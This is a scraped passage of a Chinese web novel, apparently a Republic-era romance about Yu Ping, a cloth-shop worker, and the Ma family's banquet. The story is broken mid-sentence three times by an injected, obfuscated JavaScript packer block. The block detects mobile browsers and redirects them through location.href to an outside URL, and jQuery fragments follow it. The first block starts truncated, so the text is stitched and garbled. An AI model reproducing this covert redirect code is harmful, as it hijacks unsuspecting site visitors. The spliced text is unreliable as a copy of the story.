d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129403|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 兰香惊叫一声,猛然推开他,再泪眼汪汪地看向父母:“爹,娘,都怪俞平吓我!算了一半的账又不清楚了。” 俞平一看几颗珠子排布,心中顿时明了:兰香连进制都要混淆,实在令人大跌眼镜。 兰香暗地不好意思笑了笑,俞平顺从她心意,把她请开,道:“我学过算盘,我来替你算。” 兰香托着头在他身边:“你拨这么快,拨得清楚吗?” 俞平罢工道:“你来。” 兰香边离开边道:“咦,我们布店居然出了一位珠算的奇才!” 数据列了一张草纸,俞平按照上面拨完算盘,把成果记在一旁本子上。詹老板看过后不多计较,在灯前擦拭着眼镜。 俞平道:“他们来做什么?” 詹老板道:“麻公馆六月开大家宴,规定要穿新衣,他是来下订单的。” 兰香虽说在一旁抄写字帖,还是偷闲来瞄了眼本子,抱怨道:“他们给的也太少了!” 詹老板叹气道:“你哥哥搞砸他给贵人的生意,他也不要我们赔。再赚钱说不过去了,只报了点辛苦费。” 俞平道:“老板,要是他们不讲人情,我们一共要赔多少?” 詹老板道:“两千大洋。” 兰香撅嘴道:“哪有这么多?阿吉和我说过,颜二爷自己黑心,吃酒打牌的钱一起算进去了。” 何氏道:“兰香,能够明码标价的事情都不叫事情。” 何氏自知对兰香说的太多,搂了搂她,兰香便顺从地扑在母亲怀里。 俞平掩不住兴奋,道:“现在就剩一千九百大洋了!” 兰香道:“你干嘛了?叫人白淋一场雨,人家还特地给你砍掉一百大洋。” 俞平解释道:“来麻公馆做客的颜少爷,今天请我出去,我不肯,他答应减免一百大洋,我才陪他的。” 兰香惊奇道:“你们做什么了,你怎么陪的他?” 俞平道:“看电影。” 又道:“镇口新开的那一座,差一点到你学堂。本来还想顺路来看看你。” 兰香笑道:“你再努力,一共还有十九场电影。” 俞平虚脱道:“除非他开出一千九百大洋,否则我再也不去了。” “说不定呢?” 兰香敲着笔杆,“俞平长得比我的同学们好看多了!俗话说,千金难买美人笑……” 何氏怕她再口无遮拦,说话太难听,打岔道:“兰香,字帖抄完没?” 兰香咯咯笑起来:“俞平肯定知道的。是不是,俞平?” 末了她从何氏怀里挣脱,去柜台上收好晾干的字帖,对俞平说:“俞平,老规矩,你帮我洗笔。” 詹老板道:“俞平,你别帮她洗。” 兰香道:“不允许!” 詹老板道:“我允许的。俞平,你好上楼休息了,让她自己洗。” 兰香作势装呜咽,俞平倒是毫不心软,一脚跨三级台阶地上了楼。兰香哪想过他当真不理自己,急得跑去楼梯口放狠话:“你等着,看我明天收拾你!” 上去阁楼的楼梯要狭窄许多,俞平踏在上面忽然没有勇气上前;远远又听见兰香在下面叫嚣。俞平犹豫片刻,还是没去理会她。 阁楼里漆黑不见五指,麻霆君换完衣服居然帮他吹灭油灯,俞平悠悠点了起来,没想到灯下留了张字条给他。 “蝴蝶酥三日后送到。” 翻了字条的面,原来写在支票上,麻霆君划两百大洋充他的口袋。俞平看见后会心一笑,稍作打点一番,慢慢把灯吹熄。夜里不梦海难,能够梦到蝴蝶酥就好了。 17.私心 “活要见人死要见尸,别让他跑了!” 追赶在他身后的脚步声凌乱地一齐逼近。 快艇手忙脚乱中开驶离轮船。他没有对他们设防,因此格外手忙脚乱。最后射来的一排子弹,散在他周围海域炸开。所幸风浪大,快艇东倒西歪,子弹全部挨着俞平的耳畔呼啸而过。 但是船身几乎被打得粉碎——再是一个浪头打了过来。俞平与颠覆的快艇一起,通通沉没进海水。 …… “俞平,俞平!” 俞平睁开眼睛,不知道自己面色煞白。 面前是何氏慈爱的微笑,柔声道:“你刚才是做噩梦了,别担心。” 俞平挣扎着看窗外天色,道:“老板,是不是我吵到你们了?” “不是。”何氏笑道,“今天的早饭很丰盛,看你没起来,想来叫你一声。再睡会也不要紧,兰香今天不上学。” 俞平道:“既然醒了,就不再睡了。” 何氏道:“那也好。老詹好像有事请你一起帮忙,昨天念叨一宿,你等下记得提醒他。” 何氏离开后,俞平光脚踩上木头地板,终于发觉踏实不少。 要说梦都是相反的,这话最早不知是填谁的心虚。海浪给予俞平的慌恐半分不减,甚至比那天更是强烈,若是他哪一步稍有偏离,不知道子弹射穿的在哪——俞平打了个寒噤,不想继续胡思乱想,先下楼去洗漱。 正是因为不洗笔的事情,兰香早在天井等着反击他,蛮横道:“你怎么还会做噩梦?我以为你什么都不害怕呢!” 俞平蹲在水盆旁。兰香继而上前炫耀道:“学学我,平时不做亏心事,夜里不怕鬼敲门。” 俞平随口道:“大小姐说得好。” 见他实在敷衍,兰香跺脚道:“你快出来,今天有好东西吃,等你一起来拆!” 洗漱完毕,俞平忽然多了几分心思,前去照镜子。镜中自己比从前消瘦了太多,空洞的眼眸像极了曾经对准他的枪口——俞平再清醒过来时候,才发现他不受控制地捧水砸在镜子上,否则不知道要失神多久。 水渍把他的身影刷得七零八落,俞平边大口喘气,边擦拭起镜子。是去配安神香,还是再回去?鹭镇的生活比梦境更加不真切,他迟来发觉自己又多活了一天。 早餐在布店里吃,桌椅早搭好。兰香嘴里“登登登”,制造出一些活跃音效,把三盒蝴蝶酥推在俞平面前。 “麻公馆的人一早送来的,说是昨晚最后一炉,刚做好就买回来的。” 兰香道,“别看他们送东西勤快,其实是叫你多使点力气,好好给他们干活。” 俞平道:“你说的好东西呢?” 兰香道:“这么大的蝴蝶酥,你看不见?” 俞平无助道:“这算什么好东西?” 兰香邪恶一笑,道:“我记得我讲了很多遍,是不是独没告诉过你?在我们学堂,有一男一女本来交好,约定毕业了就要结婚。就是因为女的要吃蝴蝶酥,男的舍不得买,现在好了。” 何氏一直听他们讲话,忍不住道:“好什么?” 兰香大声宣布:“原本可以新添一桩婚事,现在没有了!” 何氏笑着与兰香多逗几句嘴,面前三盒蝴蝶酥被缎带工整捆扎在一起,还系着祝福卡片。俞平看不出是谁的笔迹,心里的狂风骤雨却被抚平了些。 他轻轻笑了声,自作主张扯散蝴蝶结,道:“快吃吧,放久了不好吃了。” 兰香眼疾手快拿了最中间一块,递进嘴里,来不及细细咀嚼,满足道:“天底下居然有这么好吃的东西,难怪婚都不要结!” 何氏道:“兰香,你以后结不结婚?” 兰香吃着蝴蝶酥,假意作没听见。 詹老板今天穿得精神,细细刮了胡须。俞平正站起来要提醒他,他先对俞平开了口:“兰香的房间边上是兰竹的房间,他的衣服你可能嫌小,先穿着凑合一下,记得挑件好看的。” 俞平不解其意,站着不动:“老板,我衣服够穿。” 詹老板催促道:“我们要去麻公馆。五爷说你在布店做工,也没件好看衣服。听见了多惭愧。” 俞平道:“他对我有意见,看我怎么样都不顺眼。” “布店哪会缺衣服,叫你去你就去。”詹老板又对何氏道,“空了记得给俞平做套新衣服,颜色鲜艳一些。” * 两扇红门矗立在前。早有伙计等在门口招呼他们,一行人穿过中庭花园,住姨太太的后院显现在绿化当中。 在兰香不负责任的建议下,俞平换了套浅色的衣服,郁郁葱葱之中格外显眼一些。 后院的会客房挨着一棵柳树。雕花木门开启后,詹老板挑了一张方桌,把包裹里的工具整理出来。 伙计道:“布店二位先等着,我去叫她们一声。” 詹老板道:“麻烦了。” 伙计走后,詹老板摊开笔记本,向俞平介绍道:“麻公馆的人经常来我们店,大致数据我们都存着。有人胖了瘦了,衣服要改大改小,有没有特殊嘱托,等下都会有丫鬟来说明,我教你怎么记。” 詹老板的教学还未大展身手,后院的莺莺燕燕已然飞舞至他们身边,姨太太都来了几房,若是更改数据未免声势浩大。俞平假意凝神,低头躲在詹老板身边,半晌终于有勇气抬头,才发现她们是冲自己来的。 有胆大的丫鬟上前,挑着俞平的下巴,叫她们看他的相貌。约莫是俞平的表情太僵硬,换来姨太太们嘻笑不止;丫鬟收到旨意松了手,俞平继续退缩至詹老板身后。 姨太太中有人道:“颜青请的电影好不好看?” 俞平向詹老板嗫嚅道:“我害怕。” 詹老板见机把俞平保护在身后,立刻有不满的声音出来了:“大伯,你让一让,我们都是来看他的。” 詹老板作揖道:“各位奶奶,俞平是我家伙计,没什么本事……” “他还要有什么本事?他长成这样就是他的本事了。” 俞平毫无招架之力,险些要晕厥了;阿吉救命稻草般出现,鬼头鬼脑地在门口——而后黑兔扑了进来,他才吹声口哨:“各位静一静,颜二爷找我来请俞平说话。” 姨太太扫兴道:“颜青有这么霸道?他才刚来,立刻要把他骗了去。” 阿吉笑道:“诸位奶奶,他与你们不是一路,把眼珠子黏在他身上也没用。” 俞平戳了戳詹老板示意,等詹老板批准,再抱了黑兔与阿吉一起冲出去。两人跑到中庭花园,阿吉停了脚步,大字躺在草坪,气喘不止。 俞平抱着狗,速度慢了些,落在他身后。赶来后往他膝盖边轻轻踢了脚:“颜二找我做什么?” “颜二爷还在枢城,我是骗她们的。”阿吉坐起身,道,“你一来我就发现你了。就是知道你应付不了她们,特地撒谎把你救出来。” 俞平两眼放光:“颜二是不是从此以后再也不来麻公馆了?” “他应当是和我们五爷去枢城浪荡。过几天我们预备家宴,他们再回来。” 阿吉拍拍草坪,招呼俞平坐在自己身旁,又道,“采购的伙计今早回来了,蝴蝶酥吃上了吗?” 俞平道:“吃上了。” 黑兔直往俞平怀里供,俞平抱了会狗,顿时被治愈不少,有余力感叹道:“撒什么谎,非说颜二爷来找我,我那时真是左右为难,要不是看在你的面子,才不肯出来。” 阿吉道:“你真奇怪!姨太太多难应付,好还是颜二爷好,他还常请我们吃高级点心。” 俞平道:“别说姨太太刚才那样,其实是颜二爷更难应付。” “说实话有什么要紧——最是女人难应付,又不止你一个人这么想。” 阿吉则是意味深长地一笑,“我们五爷也怕女人。” 俞平愣道:“什么?” 阿吉道:“我们五爷不喜欢女人。” 阿吉的语气却让俞平觉得这事稀疏平常,便持续茫然地看着他。阿吉又解释了一遍:“意思就是我们五爷喜欢的是男人,你可以安心了。” 俞平问道:“你怎么知道?” 阿吉道:“我怎么不知道?” 俞平又道:“他自己怎么知道?” “他自己喜欢什么,他还不知道?” 阿吉笑道,“怎么你会认为这很难理解?我好像记得你也喜欢男人……” 俞平匆匆道:“哪里的话?谁告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162812|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的?” “我就说我总觉得漏了什么。”阿吉道,“正是这事,我好像没问过你,又好像问过。你干脆再答一遍,就当报答我把你拖出苦海。” 俞平答道:“都不喜欢。” 阿吉不满道:“没有这样的!你要是再糊弄我,我要把你送去后院量尺寸了。” 俞平把黑兔抱得紧了些,道:“就是都不喜欢。我最喜欢狗。” “狗也分公母。” “你按照之前的想法继续看待我就行了,我无所谓的。” 阿吉撬不开他的嘴,便把狗绳从俞平手里夺过。俞平不肯,非搂着黑兔的脖子,阿吉只好摸尾巴。两个人共同争夺起狗身上有限的皮毛。 不久后阿吉蓦地来了精神,道:“你想不想知道五爷怎么开窍的?” 俞平面上装作漠不关心,打探道:“什么开窍?” 阿吉亢奋道:“就是他是怎么知道自己喜欢男人的,你想不想知道?” 俞平淡淡道:“必然是他自己都试了一遍过么,有什么值得好奇的?” 阿吉立刻把黑兔抢走了,恨恨道:“那句话怎么说,我们五爷洁身自好!怎么洁身,怎么自好,哪会同你说得一样龌龊!” “那你说是什么?” “你是不是好奇了?” 阿吉也是个藏不住事的,分明是期待俞平去问他;俞平故意忍着不问。然则被他说得多以后,俞平当真要想一探究竟,迁就他道:“我好奇了,你告诉我。” 阿吉嘿嘿笑着,塞了一小包糖块进俞平的长衫里:“你替我把糖交给詹兰香,我就告诉你。” 在麻霆君的绯闻面前,兰香的学业好像不值一提——无非是不懂算盘进制,称得上什么?俞平答应得毫不犹豫:“成交。” 三年前某天顷刻跃在阿吉脑海中——意气风发的麻霆君,难得有心事重重的夜晚,凌晨时分还莫名其妙在中庭花园散步。自己饿着肚子偷偷觅食,碰巧路过。 两人都是做贼心虚,互相试探一番后总算开诚布公。 阿吉不知从哪里讲起,正组织着语言,支吾半晌,很不负责地开口:“我们五爷有次去枢城,被谈四爷揍了一顿。算不上我告密,他每天把报仇雪恨挂在嘴边,我想你应该也知道。” 俞平点点头。 阿吉认真道:“就是谈四爷太恶毒,特地把他脑子打坏了。别说他喜好特殊,他人都有点不太灵光。” 阿吉实在大言不惭,气得俞平把糖块砸在他身上:“和谈凭玉有什么关系?” 阿吉纠正道:“连我和你讲悄悄话,说的都是‘谈四爷’。你也太不规矩了,有这种人。” 又故意横着眼睛看俞平:“你们这群喜欢男人的,脑子是不是都不太灵光?” 俞平起身,叉腰道:“把你的糖带上,一起滚。” 阿吉攀在他叉腰的臂上也站了起来,油腔滑调道:“你觉得我不好归不好,糖还是要给兰香的。” 俞平道:“你离她远一点!” 阿吉道:“就算吃糖,烂的也先是牙齿。难道没有我,她不吃糖了?” 俞平气不打一处来,道:“她都要毕业了,算盘还不会拨,就是你害的。” 阿吉理直气壮道:“你拿得出什么证据?” 又道:“五爷说除了我以外,谁也不知道这件事情。现在你也甩不脱这层干系了,你当心点,万一他来找你麻烦!” 俞平道:“谁在乎他喜欢男人还是女人?” “你,就是你!是你自己好奇,我才告诉你的。” 阿吉把糖又塞进他的口袋,拍了拍,“别搞得吃哑巴亏一样,我多透露一点给你也无妨——你最近应该多提防点颜二爷,他打算娶你过门。只和我讲过。” 俞平愕然道:“怎么什么人都来和你说心里话。他们有这么放心你?” 阿吉自卖自夸道:“可能我看着不像个好东西,他们才往我身上倒垃圾。” 俞平哪受得了他,真是转身就走——阿吉又靠了上来,俞平再甩脱他,道:“我要去帮老板打下手了。” 阿吉便不再拦他,最后强调道:“记得把糖带给你们大小姐。” 俞平头也不回:“做梦!” 18.家宴 往后一周,何氏踩踏缝纫机的声音,听得人肝肠寸断。 麻家的订单格外多于往年,按照登记的时间顺序裁出来,最后一批是麻家大爷麻乌金二姨太院里的。直到家宴当天上午,何氏还在钉它们的纽扣,好不容易在晚宴前赶完,由俞平跑着送了去。 送衣服走后门,俞平想快点送到,跑得太急,衣服一摊便自顾自喝水休息。二姨太与几个丫鬟检查衣服的时候,麻乌金也来了;俞平寻机会和他们打招呼,没曾想到二姨太正是上次出言调戏他一位,慌得立刻低了头。 “俞平——我和你说过很多回的,他就是俞平。” 二姨太用折扇点着俞平的角落,道,“颜青还说要娶他过门呢。” 麻乌金有着麻家一脉相承的气质,说难听点也是不太灵光,毫不犹豫问道:“什么时候两个男的可以结婚了?” 二姨太笑道:“谁叫你这么理解的?说着玩笑罢了。” 俞平窘迫得无地自容,起身一个个示意过,再向他们心虚道:“我和颜二爷并无瓜葛。” 他解释完便是要走,二姨太哪肯放过他,穿越层层衣服,捏起他肩上一角布料,道:“感情这种东西说不清楚的。不过你来的太晚,前院冷盘都上了,我们麻家不在饭点赶人,你也留下吃一口。” 俞平汗颜:“太太,老板在家里等着我,我不能多留。” 二姨太道:“叫你留下吃饭你就留着,你有这么死脑筋?布店和我们家多熟了,派个人去和他们说一声就好了。” 俞平道:“这不好,我还是回去吧。” 见强扭不过,二姨太狠狠踩了麻乌金一脚;显然麻乌金会错了意,道:“俞平想要回去就让他回去,两家人这么熟了,也没必要装客气。” 又道:“他回去也好,省的颜青胡作非为。” “你有这么笨?”二姨太再往麻乌金的胳膊上拧了一把,耳语一阵,“我是想让你把他留下,你怎么要赶他走?现在喜欢他的岂止是颜青。” 麻乌金发出无知的声音:“你也喜欢他?” 二姨太眼睛一瞪,传达着几个模糊的口型;麻乌金哪知道她在说什么,好歹清楚自己惹了她不高兴,当机立断,一把将俞平捉了回来: “俞平,这家迟早我说了算,你今天必须要留下!” 远处传来轰鸣阵阵——麻霆君一脚油门踩进麻公馆的大门时,门口悬挂的红灯笼被他震下一半。 车停在前院,四个人慌张去补救,灯笼还没挂完,老爷骂骂咧咧地从前厅出来,不死心地把踩在高凳上的麻霆君拧了下来:“你就这么回来了?” 已知暴风雨无法规避,麻霆君斗胆道:“爹,我去买东西,和你讲过的。” 老爷闷哼一声:“你乱买东西我管不着,其他呢?” 麻霆君老实道:“我和颜青多吃了几场酒,我想你猜得到。” 老爷该身手矫健的时候从不马虎,单枪匹马去麻霆君轿车旁检查。麻霆君哪敢怠慢他,跟在他后面小心伺候着; 翻完小山似的礼品袋,除去几件衣服,一些礼品,老爷两手空空出来,嫌弃道:“没啦?” 胖子道:“老爷,我们五爷买给您的补品在皮包里,我打开给您瞧瞧。” 老爷却拿手杖指着车尾:“后备箱,他一定在后备箱藏了不少东西。” 麻霆君一脚跨在前面,拦下前来搜寻的佣人,道:“爹,什么都没有!” 老爷道:“没有东西,你着什么急?都听我的,仔细搜了。” 四五个佣人接连对麻霆君道了歉,一齐锁定在后备箱。几双手摸在一起,除去礼盒包装,雨伞等用具,单寻出一方小小的铁盒糖果。 麻霆君生怕被发现似的夺了糖果,道:“爹,你闹什么?” “你一天天不务正业,叫我怎么活得安心!” 老爷使劲用拐杖往地上杵,痛心疾首道,“我以为你金车藏娇,你看看,就知道买这种玩意,什么时候给我带个姑娘回来!” 麻霆君单身迄今,叫麻老爷旧怨滔天,一时间昏了头,要往麻霆君脸上砸。佣人们纷纷挡在前面,瘦子踮起来借机把拐杖夺了;老爷被众人簇拥着,气消了不少,再有颜青上前说几句好话。 “伯父,您要是真想打霆君出气,别照着他脑袋打。” 颜青笑道:“他要是破相,更加找不到心上人了。” 老爷道:“他每天打扮得像皇帝一样神气,照样什么都没有!” 颜青道:“良人难觅,伯父,您别太心急。” 老爷叹气道:“我不过是想叫他安定下来,别整天不务正业。” “要想安定简单。我们霆君一定是不愿将就的,但是枢城里头好的姑娘,实话讲也与他不大匹配。”颜青试探道,“我看干脆不拘泥在姑娘身上,找个身世清白的富家少爷,照样叫他安定。” 身后麻霆君不敢上前,拼命向他做表情,颜青反朝他使眼色,又笑吟吟问老爷:“您催得着急,终归是为霆君好,想叫他也享一享天伦之乐。” 老爷道:“我是苦心,总算有人知道!” 颜青笑道:“既然如此,是男是女,都是一样的。” 老爷与他前行一段路,说不出话,半晌抚着他的手:“阿青,我们先去吃饭。” 最为执拗的家父竟真被颜青三言两语哄好了,麻霆君心里一时百感交集,可惜颜青那套见人说人话,见鬼说鬼话的真功夫,自己是投八辈子胎也学会不来。 瘦子见他不动,还以为他叫颜青胡言乱语了去,生着气也不好挑明。上前道:“五爷,颜二爷活得太前卫,方才虽是解围,怕是玷污了五爷的名声。” “有什么?叫爹不再催我就行了。”麻霆君无聊道,“不管要求男人女人,我不想去找,到头来都是一样的。” 胖子不负责道:“五爷,我看俞平不错,人也可爱。不如近水楼台,把他先得了?” 瘦子道:“你这瘪三信口开河!俞平先前不知道在给谁当情人,满身污点,怎么好来与我们五爷相配?” 麻霆君立刻斥道:“什么污点不污点?少以己度人了,说话也这么难听!” “五爷对不住,我一时性急了些,口无遮拦。” 瘦子讪讪改口道,“我是说俞平脸生得漂亮,只有脸像他这样,家里更加有名望的,才能够与我们五爷相配。” 麻霆君低头踢了脚石子,沉默许久,才淡淡地道:“俞平哪是你们说得这样。你们总归没见过好的,把他捧得太高。” 瘦子一怔。他又道:“况且我麻霆君也不是什么色令智昏之徒,还是想先打拼出事业……” 胖子忽然惊叫道:“哎呀,俞平来了!” 麻霆君顿时把说了一半的话全抛了,脸上欢天喜地,快活道:“俞平!我原本是想自己来请你——” 末了发现只有阿吉牵着黑兔从前厅急匆匆赶了过来,他才意识到不对:“哪有俞平?” 胖子挠着后脑勺,模样憨态可掬。 麻霆君凶恶道:“敢骗我,我迟早收拾你!” 阿吉临近麻霆君的时候体力不支,叫黑兔挣脱了牵引,扑在麻霆君膝上。麻霆君摸狗的心思也没有,光看着阿吉力竭地过来。 阿吉口齿不清道:“五爷,经过我们的努力,俞平愿意留下一起吃饭了。” 胖子登时仰天道:“说俞平俞平到,俞平这不就来了!” 瘦子也帮腔道:“我们五爷不简单,鸿福滔天,心想事成。” 阿吉不明所以地跟着他们鼓掌——亏是俞平真的来了,麻霆君纵是有气也无处撒,一个人闷气不动了会,才问阿吉:“俞平呢?” “刚刚被大哥和二姨太领出来。”阿吉道,“我原本在花园遛狗,刚要带它去睡觉,凑巧遇到他们,就赶快来告诉五爷你了。” 麻霆君便杀气腾腾地领先在前面,身后跟着三个心照不宣看好戏的喽啰。家宴打通三间房,麻霆君边走边胡乱摇了一阵头,左看不见俞平身影,右看也没有;寻至最后一件,只见大哥的二姨太孤身坐在座位。 二姨太见他来了,嫣然一笑,问道:“找人?” 麻霆君应了声。二姨太笑道:“找人就好,我以为你丢了魂呢。你找谁?我看看我知不知道。” 麻霆君犹豫了会。 “颜青。” “阿青有什么好找的,他丢了便让他丢了,过会就回来了。” 麻霆君也不提俞平,顾左右而言他道:“嫂嫂,我们家所有人都在这里了吗?” “今年你大哥主张创新,中庭花园做西式自助餐,许多人都去了,我懒得凑热闹。”二姨太道,“你刚才说颜青,我现在才想起来……颜青好像把俞平拐跑了,别说你其实是找俞平。” 麻霆君触电似的站了起来,险些掀翻身后椅子。二姨太见他恨不得升到天上,扫除所有障碍只为寻一人,便带他去面朝花园的落地窗前看着。 中庭花园里人声鼎沸。这两个人麻霆君都熟悉,愣是一个都分辨不出来。二姨太见状,干脆利落在麻霆君额头上弹了一记:“看见没有,会吵的小鸟有虫吃,装不饿的小鸟,都要被丛林优胜劣汰掉。” 麻霆君由她说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174375|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么话也回不出来——不多时,颜青倒是冲着他们的位置回来了,一来二话不说,先喝空一杯果汁。麻霆君及三位爱将齐齐望向他,谁也不敢开口。 二姨太道:“阿青,那个长得漂亮的呢?” 颜青闷闷道:“和他多说几句话,把他吓跑了。” 跑了?那四个人更加面面相觑。 二姨太什么话也不说,忽然问起俞平,诚然太唐突,尤其当着麻霆君的面。为图掩饰自己的目的,她又道:“你在枢城那几个呢?” 颜青道:“哪个?” 二姨太道:“长头发的?意大利的?” 一旦要颜青讲他的感情之事,哪怕是天就此塌下来,他也能眉开眼笑。半是真为了麻霆君着想,半是中饱私囊,二姨太与他立刻攀谈在一起,留麻霆君一人孤苦在边上。 * 夜幕降临,俞平才猫着腰从高大盆景后钻了出来,好不容易踏出花丛,低头只看见自己身上的花瓣纷纷掉落,嵌在石子路之中。 前厅的其乐融融,自落地玻璃窗内一览无遗。暖橘色灯光洒进中庭花园,俞平不由得失了神,多看了一会。 身后传来一声如雷贯耳:“可找到你了!” 回头一看正是胖子。俞平意欲拔腿再跑,胖子急手忙脚乱示意友好,比了一个噤声的手势,才把俞平骗得安宁下来;他又像是芭蕾舞演员,绷直脚尖来到俞平身前: “跑什么,跑什么?你真是好坏不分。我一句你的坏话都没说过,我是好人里最好的一批了。” 俞平怕他出言不逊,赶紧抓了些面包塞进长衫口袋,道:“你是好人,谁都看得出来。可我确实是该走了,不冲突。” “冷面包有什么好吃?我替你烤一轮。” “不必了,你放我早点回去,比什么面包都实际。” 胖子自作聪明,认定他是被颜青害得不浅,故意激他:“颜二爷在前厅等着你,你要是不肯去,他要拿我们几个撒气的。” 俞平立刻神色慌张起来,道:“我其实没什么男女……男男之事的心思,请叫他不要打扰我了。” 胖子道:“真的?” “真的。”俞平央求道,“大哥,帮帮我,要是这话说出口,你被颜二拿来撒气了,忍一忍就忍一忍,我一定会报答你的。” 胖子倒也不恼,松了口气,笑道:“今天好歹是家宴,看你什么也没吃上,不如你去假山背后等着,我多偷点肉出来给你。” 俞平道:“什么偷肉,我看是方便颜二爷来抓我的。” 胖子气道:“这叫什么话?你也不看看我大名麻胖,我是向着五爷的。” 无奈俞平当真是饿得昏了头,一想到回布店只有些残羹冷炙,很没骨气地垂涎麻家的晚宴起来。胖子一下便会了他的意,再作芭蕾舞者模样,形迹可疑地走向前厅。 傍晚逃亡在中庭花园的日子,俞平依稀记得见过假山,当下月朗星稀,他只好摸着黑寻过去。 假山正面看着平平无奇,俞平自认为在无数公园里见过,背后真叫大有玄机。石堆供在一起,形成一个半包围圈,边上再是竹林稀疏,把金银器物放在如此地方,贼都难遭。 俞平攥着袖口,掸了掸栖身的石头,勉强安顿下。 不久后肉香如约而至,俞平正是流着口水东张西望的,心想不说胖子,要是是颜青来送饭,也值得了; 来人又偏偏不是胖子,更不是颜青。麻霆君手捧食盒,居高临下出现在俞平面前,叫俞平赶快去捂自己的嘴巴。 半晌俞平才小声道:“怎么是你!” 俞平自己慌阵脚的时候,叫麻霆君趁机往他身边坐下了。假山后本就不是什么给人歇脚的地方,又是两个青年男子——俞平只好自认倒霉。若非身旁是粗糙的石块,他一定不会挤在麻霆君身上。 麻霆君打开食盒:“我们家的家宴,你却饿着肚子回去,当然是我来向你赔不是。” 都挑的是大鱼大肉在食盒,叫人怎么不去垂涎;借以夜色,俞平自知无论自己多么失态,麻霆君都没有本领关注,便不顾形象地狼吞虎咽起来。 顷刻间食盒见了底,俞平还顺手接过麻霆君递来的手巾擦嘴,愈加不好意思。然则真正要看向麻霆君的时候,他才发现麻霆君的脸颊受月光照耀得很亮堂。 却不知道自己脸上是否也有月亮光临,一时间张口结舌,尽管羞涩地看着麻霆君;正是猜到他要说什么,麻霆君刻意忍着不讲话。许久过后——许久许久,俞平把叠好的食盒交与麻霆君,鼓起勇气道: “五爷,我还有一事相求。” 19.月圆 麻霆君笑道:“能有这么紧张,要提什么事?” 单是麻霆君身后隐形的尾巴能够摇得多激烈,俞平如何认定他会拒绝自己?却是假惺惺道:“我担心五爷护短,非找我的不是。” 麻霆君试探道:“颜青?” “我是有要提他的事情,但这不是我原本想讲的。既然你先问他,我一同告诉你好了。”俞平竖起食指在眼前,“一百大洋。” 麻霆君轻松道:“他和我提过。我们不会赖账,你不用担心。” 俞平才如释重负,说话语气缓了不少:“我原本想和你提阿吉——叫阿吉不要打扰兰香念书了,兰香现在算盘都不会拨。” 麻霆君却是茫然道:“阿吉是谁?” “阿吉就是阿吉,还能是什么!” 俞平难得有好心情,顷刻被他打破了,难免气急了些,道,“天天跟在你身后的人物,你居然不知道!” 麻霆君被他问得愣了,嘴上支吾一阵,下定决心般起身,道:“你等等我。” 俞平正想知道他将要捣什么鬼——麻霆君再回来时候,手上食盒换成了阿吉,领着阿吉至俞平面前,问道:“你说的阿吉是他吗?” 俞平才肯点头。麻霆君笑道:“什么阿吉,亏我多想了想,他大名叫做李喆。” “大家都叫他阿吉,怎么五爷不跟着一起?” “你说我平时叫他什么?” 胖子瘦子都有了,瘦子第二不在麻霆君的队列之中,徒然加个“瘦子第三”好像也不大好听——俞平眼神在他们之间来回,笃定道:“矮子。” 这话听得麻霆君哈哈大笑了:“他又不矮!你不过比他高几寸。” 俞平道:“我们都是小巫见大巫,真是五爷最高挑。” 阿吉饭前先把黑兔关进房间,就是知道黑兔关不住,饭后立刻牵着狗溜达,忽然被麻霆君捉拿至假山背后,愈加觉得莫名其妙,道:“五爷,没什么事情,我先走了。” “还没轮到你,急什么?” 麻霆君清了清嗓子,正色道,“你在外面犯事了,布店的伙计告状告到我这里。” 阿吉心虚道:“我犯什么事了?” 麻霆君道:“你自己悟得出来,我从轻治你。” “至多是去熟食店买零嘴,叫他们多送我几个核桃,其余也没干什么伤天害理的……” 察觉到麻霆君表情不对,阿吉立刻道,“五爷明辨!我从没惹过俞平,还帮了他许多忙,都是瘦子哥背地讲他坏话。” 麻霆君又道:“瘦子讲什么?” 阿吉眼珠子瞟瞟俞平,什么话也不敢讲。麻霆君嫌他太磨蹭,眼见又要装腔作势地凶他,他才肯说:“瘦子老念叨他是狐狸精,不过瘦子肯定是觉得他好看,就是自己不敢承认,嘴上胡来了。” 麻霆君道:“你错得比瘦子重多了,别拿他当盾牌。” 阿吉绞尽脑汁想不出来,便朝俞平说:“俞平,我自以为我没得罪过你。要是我平时哪里有不周到的,你早不讲,迟不讲,非在五爷面前说我坏。” 俞平借着麻霆君,狐假虎威道:“我早说过了,你听得进去吗!” 阿吉冤屈道:“你哪里和我说过!” 俞平严肃道:“我说过,我叫你不准来打扰兰香。” 麻霆君则是毫无原则地帮腔道:“听见没有?这问题大了去了,原本我也想提点你。他才来布店几个月,就一针见血指出了。” 阿吉简直百口莫辩,畏缩道:“我也就叫她逃课出来钓几次鱼……” 俞平恍然大悟道:“难怪兰香算数这么差!” 阿吉反驳道:“你去他们学堂打听打听,谁算数好得起来!” “我什么时候教的你推脱责任,兰香算数不好,一定有你的一份。”麻霆君强调道,“以后不准打扰兰香。” 